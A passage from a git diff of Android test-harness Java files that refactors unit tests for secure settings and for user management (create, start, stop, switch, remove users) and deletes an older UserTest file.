+                TestApis.settings().secure().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE));
+    }
+
+    @Test
+    public void getInt_getsIntFromSecureSettingsOnInstrumentedUser() {
+        TestApis.settings().secure().putInt(KEY, INT_VALUE);
+
+        assertThat(TestApis.settings().secure().getInt(KEY)).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getInt_invalidKey_throwsException() {
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().secure().getInt(INVALID_KEY));
+    }
+
+    @Test
+    public void getInt_invalidKey_withDefault_returnsDefault() {
+        assertThat(TestApis.settings().secure().getInt(INVALID_KEY, INT_VALUE)).isEqualTo(
+                INT_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getIntWithContentResolver_getsIntFromSecureSettings() {
+        TestApis.settings().secure().putInt(
+                TestApis.context().instrumentedContext().getContentResolver(), KEY, INT_VALUE);
+
+        assertThat(TestApis.settings().secure().getInt(
+                TestApis.context().instrumentedContext().getContentResolver(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void getIntWithContentResolver_preS_throwsException() {
+        assertThrows(UnsupportedOperationException.class, () -> TestApis.settings().secure().getInt(
+                TestApis.context().instrumentedContext().getContentResolver(), KEY));
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getIntWithContentResolver_invalidKey_throwsException() {
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().secure().getInt(
+                        TestApis.context().instrumentedContext().getContentResolver(),
+                        INVALID_KEY));
+    }
+
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getIntWithContentResolver_invalidKey_withDefault_returnsDefault() {
+        assertThat(TestApis.settings().secure().getInt(
+                TestApis.context().instrumentedContext().getContentResolver(),
+                INVALID_KEY, INT_VALUE)).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getIntWithUser_instrumentedUser_getsIntFromSecureSettings() {
+        TestApis.settings().secure().putInt(KEY, INT_VALUE);
+
+        assertThat(TestApis.settings().secure().getInt(TestApis.users().instrumented(), KEY))
+                .isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getIntWithUser_invalidKey_throwsException() {
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().secure().getInt(
+                        TestApis.users().instrumented(), INVALID_KEY));
+    }
+
+    @Test
+    public void getIntWithUser_invalidKey_withDefault_returnsDefault() {
+        assertThat(TestApis.settings().secure().getInt(
+                TestApis.users().instrumented(), INVALID_KEY, INT_VALUE)).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void getIntWithUser_differentUser_getsIntFromSecureSettings() {
+        TestApis.settings().secure().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE);
+
+        assertThat(TestApis.settings().secure().getInt(
+                sDeviceState.secondaryUser(), KEY)).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void getIntWithUser_differentUser_preS_throwsException() {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            TestApis.settings().secure().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE);
+
+        });
+    }
+
+
+    // TODO(b/201319369): this requires a system user but should not
+    @RequireRunOnSystemUser
+    @Test
+    public void reset_resetsSecureSettings() {
+        TestApis.settings().secure().putInt(KEY, INT_VALUE);
+
+        TestApis.settings().secure().reset();
+
+        assertThrows(NeneException.class, () -> TestApis.settings().secure().getInt(KEY));
+    }
+
+    // TODO(b/201319369): this requires a system user but should not
+    @RequireRunOnSystemUser
+    @Test
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    public void resetWithContentResolver_resetsSecureSettings() {
+        ContentResolver contentResolver =
+                TestApis.context().instrumentedContext().getContentResolver();
+        TestApis.settings().secure().putInt(contentResolver, KEY, INT_VALUE);
+
+        TestApis.settings().secure().reset(contentResolver);
+
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().secure().getInt(
+                        contentResolver,
+                        KEY));
+    }
+
+    @Test
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void resetWithContentResolver_preS_throwsException() {
+        ContentResolver contentResolver =
+                TestApis.context().instrumentedContext().getContentResolver();
+
+        assertThrows(UnsupportedOperationException.class,
+                () -> TestApis.settings().secure().reset(contentResolver));
+    }
+
+    // TODO(b/201319369): this requires a system user but should not
+    @RequireRunOnSystemUser
+    @Test
+    public void resetWithUser_instrumentedUser_resetsSecureSettings() {
+        TestApis.settings().secure().putInt(TestApis.users().instrumented(), KEY, INT_VALUE);
+
+        TestApis.settings().secure().reset(TestApis.users().instrumented());
+
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().secure().getInt(
+                        TestApis.users().instrumented(),
+                        KEY));
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(min = Build.VERSION_CODES.S)
+    @Ignore("b/194669450")
+    public void resetWithUser_differentUser_resetsSecureSettings() {
+        TestApis.settings().secure().putInt(sDeviceState.secondaryUser(), KEY, INT_VALUE);
+
+        TestApis.settings().secure().reset(sDeviceState.secondaryUser());
+
+        assertThrows(NeneException.class,
+                () -> TestApis.settings().secure().getInt(
+                        sDeviceState.secondaryUser(),
+                        KEY));
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireSdkVersion(max = Build.VERSION_CODES.R)
+    public void resetWithUser_differentUser_preS_throwsException() {
+        assertThrows(UnsupportedOperationException.class,
+                () -> TestApis.settings().secure().reset(sDeviceState.secondaryUser()));
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
index 7a87d1a..4fbae6a 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
@@ -16,38 +16,36 @@
 
 package com.android.bedstead.nene.users;
 
-import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.os.Build.VERSION.SDK_INT;
+import static android.Manifest.permission.CREATE_USERS;
+import static android.os.Build.VERSION_CODES.Q;
+import static android.os.Build.VERSION_CODES.S;
+
+import static com.android.bedstead.harrier.OptionalBoolean.FALSE;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.junit.Assume.assumeTrue;
 import static org.testng.Assert.assertThrows;
 
 import android.content.Context;
-import android.content.Intent;
-import android.os.Build;
+import android.os.Process;
+import android.os.UserManager;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
-import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
-import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+import com.android.bedstead.harrier.annotations.EnsureHasPermission;
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireRunNotOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireSdkVersion;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.eventlib.EventLogs;
-import com.android.eventlib.events.activities.ActivityCreatedEvent;
 
 import org.junit.ClassRule;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
 @RunWith(BedsteadJUnit4.class)
 public class UserReferenceTest {
@@ -55,76 +53,63 @@
     private static final int USER_ID = NON_EXISTING_USER_ID;
     private static final String USER_NAME = "userName";
     private static final String TEST_ACTIVITY_NAME = "com.android.bedstead.nene.test.Activity";
-
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final int SERIAL_NO = 1000;
+    private static final UserType USER_TYPE = new UserType(new UserType.MutableUserType());
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
 
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
 
     @Test
     public void id_returnsId() {
-        assertThat(sTestApis.users().find(USER_ID).id()).isEqualTo(USER_ID);
+        assertThat(TestApis.users().find(USER_ID).id()).isEqualTo(USER_ID);
     }
 
     @Test
     public void userHandle_referencesId() {
-        assertThat(sTestApis.users().find(USER_ID).userHandle().getIdentifier()).isEqualTo(USER_ID);
+        assertThat(TestApis.users().find(USER_ID).userHandle().getIdentifier()).isEqualTo(USER_ID);
     }
 
     @Test
-    public void resolve_doesNotExist_returnsNull() {
-        assertThat(sTestApis.users().find(NON_EXISTING_USER_ID).resolve()).isNull();
+    public void exists_doesNotExist_returnsFalse() {
+        assertThat(TestApis.users().find(NON_EXISTING_USER_ID).exists()).isFalse();
     }
 
     @Test
     @EnsureHasSecondaryUser
-    public void resolve_doesExist_returnsUser() {
-        assertThat(sDeviceState.secondaryUser().resolve()).isNotNull();
-    }
-
-    @Test
-    @EnsureHasNoSecondaryUser // TODO(scottjonathan): We should specify that we can create a new user
-    @EnsureHasNoWorkProfile
-    public void resolve_doesExist_userHasCorrectDetails() {
-        UserReference userReference = sTestApis.users().createUser().name(USER_NAME).create();
-
-        try {
-            User user = userReference.resolve();
-            assertThat(user.name()).isEqualTo(USER_NAME);
-        } finally {
-            userReference.remove();
-        }
+    public void exists_doesExist_returnsTrue() {
+        assertThat(sDeviceState.secondaryUser().exists()).isTrue();
     }
 
     @Test
     public void remove_userDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () -> sTestApis.users().find(USER_ID).remove());
+        assertThrows(NeneException.class, () -> TestApis.users().find(USER_ID).remove());
     }
 
     @Test
     public void remove_userExists_removesUser() {
-        UserReference user = sTestApis.users().createUser().create();
+        UserReference user = TestApis.users().createUser().create();
 
         user.remove();
 
-        assertThat(sTestApis.users().all()).doesNotContain(user);
+        assertThat(TestApis.users().all()).doesNotContain(user);
     }
 
     @Test
     public void start_userDoesNotExist_throwsException() {
         assertThrows(NeneException.class,
-                () -> sTestApis.users().find(NON_EXISTING_USER_ID).start());
+                () -> TestApis.users().find(NON_EXISTING_USER_ID).start());
     }
 
     @Test
-    public void start_userNotStarted_userIsStarted() {
-        UserReference user = sTestApis.users().createUser().create().stop();
+    public void start_userNotStarted_userIsUnlocked() {
+        UserReference user = TestApis.users().createUser().create().stop();
 
         user.start();
 
         try {
-            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+            assertThat(user.isUnlocked()).isTrue();
         } finally {
             user.remove();
         }
@@ -137,62 +122,50 @@
 
         sDeviceState.secondaryUser().start();
 
-        assertThat(sDeviceState.secondaryUser().resolve().state())
-                .isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        assertThat(sDeviceState.secondaryUser().isUnlocked()).isTrue();
     }
 
     @Test
-    public void stop_userDoesNotExist_throwsException() {
-        assertThrows(NeneException.class,
-                () -> sTestApis.users().find(NON_EXISTING_USER_ID).stop());
+    public void stop_userDoesNotExist_doesNothing() {
+        TestApis.users().find(NON_EXISTING_USER_ID).stop();
     }
 
     @Test
     @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
     public void stop_userStarted_userIsStopped() {
         sDeviceState.secondaryUser().stop();
 
-        assertThat(sDeviceState.secondaryUser().resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
+        assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
     }
 
     @Test
     @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
     public void stop_userNotStarted_doesNothing() {
         sDeviceState.secondaryUser().stop();
 
         sDeviceState.secondaryUser().stop();
 
-        assertThat(sDeviceState.secondaryUser().resolve().state())
-                .isEqualTo(User.UserState.NOT_RUNNING);
+        assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
     }
 
     @Test
     @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
+    @RequireSdkVersion(min = Q)
     public void switchTo_userIsSwitched() {
-        assumeTrue(
-                "INTERACT_ACROSS_USERS_FULL is only usable by tests on Q+",
-                SDK_INT >= Build.VERSION_CODES.Q);
-        try (PermissionContext p =
-                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+        sDeviceState.secondaryUser().switchTo();
 
-            sTestApis.packages().find(sContext.getPackageName()).install(sDeviceState.secondaryUser());
-            sDeviceState.secondaryUser().switchTo();
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.secondaryUser());
+    }
 
-            Intent intent = new Intent();
-            intent.setPackage(sContext.getPackageName());
-            intent.setClassName(sContext.getPackageName(), TEST_ACTIVITY_NAME);
-            intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
-            sContext.startActivityAsUser(intent, sDeviceState.secondaryUser().userHandle());
+    @Test
+    @RequireRunOnWorkProfile(switchedToParentUser = FALSE)
+    public void switchTo_profile_switchesToParent() {
+        sDeviceState.workProfile().switchTo();
 
-            EventLogs<ActivityCreatedEvent> logs =
-                    ActivityCreatedEvent.queryPackage(sContext.getPackageName())
-                            .whereActivity().activityClass()
-                                .className().isEqualTo(TEST_ACTIVITY_NAME)
-                            .onUser(sDeviceState.secondaryUser());
-            assertThat(logs.poll()).isNotNull();
-        } finally {
-            sTestApis.users().system().switchTo();
-        }
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.workProfile().parent());
     }
 
     @Test
@@ -201,7 +174,161 @@
     public void stop_isWorkProfileOfCurrentUser_stops() {
         sDeviceState.workProfile().stop();
 
-        assertThat(sDeviceState.workProfile().resolve().state())
-                .isEqualTo(User.UserState.NOT_RUNNING);
+        assertThat(sDeviceState.workProfile().isRunning()).isFalse();
+    }
+
+    @Test
+    public void serialNo_returnsSerialNo() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.serialNo())
+                .isEqualTo(sUserManager.getSerialNumberForUser(Process.myUserHandle()));
+    }
+
+    @Test
+    public void serialNo_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::serialNo);
+    }
+
+    @Test
+    @EnsureHasPermission(CREATE_USERS)
+    @RequireSdkVersion(min = S, reason = "getUserName is only available on S+")
+    public void name_returnsName() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.name()).isEqualTo(sUserManager.getUserName());
+    }
+
+    @Test
+    public void name_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::name);
+    }
+
+    @Test
+    @EnsureHasPermission(CREATE_USERS)
+    @RequireSdkVersion(min = S, reason = "getUserType is only available on S+")
+    public void type_returnsType() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.type().name()).isEqualTo(sUserManager.getUserType());
+    }
+
+    @Test
+    public void type_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::type);
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    public void isPrimary_isPrimary_returnsTrue() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.isPrimary()).isTrue();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    public void isPrimary_isNotPrimary_returnsFalse() {
+        UserReference user = sDeviceState.secondaryUser();
+
+        assertThat(user.isPrimary()).isFalse();
+    }
+
+    @Test
+    public void isPrimary_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::isPrimary);
+    }
+
+    @Test
+    public void isRunning_userNotStarted_returnsFalse() {
+        UserReference user = TestApis.users().createUser().create();
+        user.stop();
+
+        try {
+            assertThat(user.isRunning()).isFalse();
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void isRunning_userIsRunning_returnsTrue() {
+        UserReference user = TestApis.users().createUser().create();
+        user.start();
+
+        try {
+            assertThat(user.isRunning()).isTrue();
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void isRunning_userDoesNotExist_returnsFalse() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThat(user.isRunning()).isFalse();
+    }
+
+    @Test
+    public void isUnlocked_userIsUnlocked_returnsTrue() {
+        UserReference user = TestApis.users().createUser().createAndStart();
+
+        try {
+            assertThat(user.isUnlocked()).isTrue();
+        } finally {
+            user.remove();
+        }
+    }
+
+    // TODO(b/203542772): add tests for locked state
+
+    @Test
+    public void isUnlocked_userDoesNotExist_returnsFalse() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThat(user.isUnlocked()).isFalse();
+    }
+
+    @Test
+    @EnsureHasWorkProfile
+    public void parent_returnsParent() {
+        assertThat(sDeviceState.workProfile().parent()).isNotNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    public void parent_noParent_returnsNull() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.parent()).isNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    public void parent_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::parent);
+    }
+
+    @Test
+    public void autoclose_removesUser() {
+        int numUsers = TestApis.users().all().size();
+
+        try (UserReference user = TestApis.users().createUser().create()) {
+            // We intentionally don't do anything here, just rely on the auto-close behaviour
+        }
+
+        assertThat(TestApis.users().all()).hasSize(numUsers);
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
deleted file mode 100644
index 0cc4398..0000000
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
+++ /dev/null
@@ -1,204 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.users;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import com.android.bedstead.nene.TestApis;
-
-import org.junit.Ignore;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-@RunWith(JUnit4.class)
-public class UserTest {
-
-    private static final int NON_EXISTING_USER_ID = 10000;
-    private static final int USER_ID = NON_EXISTING_USER_ID;
-    private static final int SERIAL_NO = 1000;
-    private static final UserType USER_TYPE = new UserType(new UserType.MutableUserType());
-    private static final String USER_NAME = "userName";
-
-    private final TestApis mTestApis = new TestApis();
-
-    @Test
-    public void id_returnsId() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mId = USER_ID;
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.id()).isEqualTo(USER_ID);
-    }
-
-    @Test
-    public void construct_idNotSet_throwsNullPointerException() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mId = null;
-
-        assertThrows(NullPointerException.class, () -> new User(mTestApis, mutableUser));
-    }
-
-    @Test
-    public void serialNo_returnsSerialNo() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mSerialNo = SERIAL_NO;
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.serialNo()).isEqualTo(SERIAL_NO);
-    }
-
-    @Test
-    public void serialNo_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.serialNo()).isNull();
-    }
-
-    @Test
-    public void name_returnsName() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mName = USER_NAME;
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.name()).isEqualTo(USER_NAME);
-    }
-
-    @Test
-    public void name_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.name()).isNull();
-    }
-
-    @Test
-    public void type_returnsName() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mType = USER_TYPE;
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.type()).isEqualTo(USER_TYPE);
-    }
-
-    @Test
-    public void type_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.type()).isNull();
-    }
-
-    @Test
-    public void hasProfileOwner_returnsHasProfileOwner() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mHasProfileOwner = true;
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.hasProfileOwner()).isTrue();
-    }
-
-    @Test
-    public void hasProfileOwner_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.hasProfileOwner()).isNull();
-    }
-
-    @Test
-    public void isPrimary_returnsIsPrimary() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mIsPrimary = true;
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.isPrimary()).isTrue();
-    }
-
-    @Test
-    public void isPrimary_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.isPrimary()).isNull();
-    }
-
-    @Test
-    public void state_userNotStarted_returnsState() {
-        UserReference user = mTestApis.users().createUser().create();
-        user.stop();
-
-        try {
-            assertThat(user.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
-        } finally {
-            user.remove();
-        }
-    }
-
-    @Test
-    @Ignore("TODO: Ensure we can enter the user locked state")
-    public void state_userLocked_returnsState() {
-        UserReference user = mTestApis.users().createUser().createAndStart();
-
-        try {
-            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_LOCKED);
-        } finally {
-            user.remove();
-        }
-    }
-
-    @Test
-    public void state_userUnlocked_returnsState() {
-        UserReference user = mTestApis.users().createUser().createAndStart();
-
-        try {
-            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
-        } finally {
-            user.remove();
-        }
-    }
-
-    @Test
-    public void parent_returnsParent() {
-        UserReference parentUser = new User(mTestApis, createValidMutableUser());
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mParent = parentUser;
-        User user = new User(mTestApis, mutableUser);
-
-        assertThat(user.parent()).isEqualTo(parentUser);
-    }
-
-    @Test
-    public void autoclose_removesUser() {
-        int numUsers = mTestApis.users().all().size();
-
-        try (UserReference user = mTestApis.users().createUser().create()) {
-            // We intentionally don't do anything here, just rely on the auto-close behaviour
-        }
-
-        assertThat(mTestApis.users().all()).hasSize(numUsers);
-    }
-
-    private User.MutableUser createValidMutableUser() {
-        User.MutableUser mutableUser = new User.MutableUser();
-        mutableUser.mId = 1;
-        return mutableUser;
-    }
-}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
index 3d64093..1769a01 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
@@ -16,8 +16,13 @@
 
 package com.android.bedstead.nene.users;
 
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_DEFAULT;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_FALSE;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_TRUE;
 import static android.os.Build.VERSION.SDK_INT;
 
+import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
 import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
@@ -36,9 +41,14 @@
 import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireHeadlessSystemUserMode;
+import com.android.bedstead.harrier.annotations.RequireRunNotOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.Poll;
 
 import org.junit.ClassRule;
 import org.junit.Ignore;
@@ -58,12 +68,11 @@
     private static final int USER_ID = NON_EXISTING_USER_ID;
     private static final String USER_NAME = "userName";
 
-    private final TestApis mTestApis = new TestApis();
     private final UserType mSecondaryUserType =
-            mTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME);
+            TestApis.users().supportedType(SECONDARY_USER_TYPE_NAME);
     private final UserType mManagedProfileType =
-            mTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
-    private final UserReference mInstrumentedUser = mTestApis.users().instrumented();
+            TestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
+    private final UserReference mInstrumentedUser = TestApis.users().instrumented();
 
     @ClassRule
     @Rule
@@ -75,7 +84,7 @@
     @Test
     public void supportedTypes_containsManagedProfile() {
         UserType managedProfileUserType =
-                mTestApis.users().supportedTypes().stream().filter(
+                TestApis.users().supportedTypes().stream().filter(
                         (ut) -> ut.name().equals(MANAGED_PROFILE_TYPE_NAME)).findFirst().get();
 
         assertThat(managedProfileUserType.baseType()).containsExactly(UserType.BaseType.PROFILE);
@@ -88,7 +97,7 @@
     @Test
     public void supportedTypes_containsSystemUser() {
         UserType systemUserType =
-                mTestApis.users().supportedTypes().stream().filter(
+                TestApis.users().supportedTypes().stream().filter(
                         (ut) -> ut.name().equals(SYSTEM_USER_TYPE_NAME)).findFirst().get();
 
         assertThat(systemUserType.baseType()).containsExactly(
@@ -101,7 +110,7 @@
     @Test
     public void supportedType_validType_returnsType() {
         UserType managedProfileUserType =
-                mTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
+                TestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
 
         assertThat(managedProfileUserType.baseType()).containsExactly(UserType.BaseType.PROFILE);
         assertThat(managedProfileUserType.enabled()).isTrue();
@@ -112,15 +121,15 @@
 
     @Test
     public void supportedType_invalidType_returnsNull() {
-        assertThat(mTestApis.users().supportedType(INVALID_TYPE_NAME)).isNull();
+        assertThat(TestApis.users().supportedType(INVALID_TYPE_NAME)).isNull();
     }
 
     @Test
     public void all_containsCreatedUser() {
-        UserReference user = mTestApis.users().createUser().create();
+        UserReference user = TestApis.users().createUser().create();
 
         try {
-            assertThat(mTestApis.users().all()).contains(user);
+            assertThat(TestApis.users().all()).contains(user);
         } finally {
             user.remove();
         }
@@ -128,12 +137,12 @@
 
     @Test
     public void all_userAddedSinceLastCallToUsers_containsNewUser() {
-        UserReference user = mTestApis.users().createUser().create();
-        mTestApis.users().all();
-        UserReference user2 = mTestApis.users().createUser().create();
+        UserReference user = TestApis.users().createUser().create();
+        TestApis.users().all();
+        UserReference user2 = TestApis.users().createUser().create();
 
         try {
-            assertThat(mTestApis.users().all()).contains(user2);
+            assertThat(TestApis.users().all()).contains(user2);
         } finally {
             user.remove();
             user2.remove();
@@ -142,18 +151,18 @@
 
     @Test
     public void all_userRemovedSinceLastCallToUsers_doesNotContainRemovedUser() {
-        UserReference user = mTestApis.users().createUser().create();
-        mTestApis.users().all();
+        UserReference user = TestApis.users().createUser().create();
+        TestApis.users().all();
         user.remove();
 
-        assertThat(mTestApis.users().all()).doesNotContain(user);
+        assertThat(TestApis.users().all()).doesNotContain(user);
     }
 
     @Test
     public void find_userExists_returnsUserReference() {
-        UserReference user = mTestApis.users().createUser().create();
+        UserReference user = TestApis.users().createUser().create();
         try {
-            assertThat(mTestApis.users().find(user.id())).isEqualTo(user);
+            assertThat(TestApis.users().find(user.id())).isEqualTo(user);
         } finally {
             user.remove();
         }
@@ -161,33 +170,33 @@
 
     @Test
     public void find_userDoesNotExist_returnsUserReference() {
-        assertThat(mTestApis.users().find(NON_EXISTING_USER_ID)).isNotNull();
+        assertThat(TestApis.users().find(NON_EXISTING_USER_ID)).isNotNull();
     }
 
     @Test
     public void find_fromUserHandle_referencesCorrectId() {
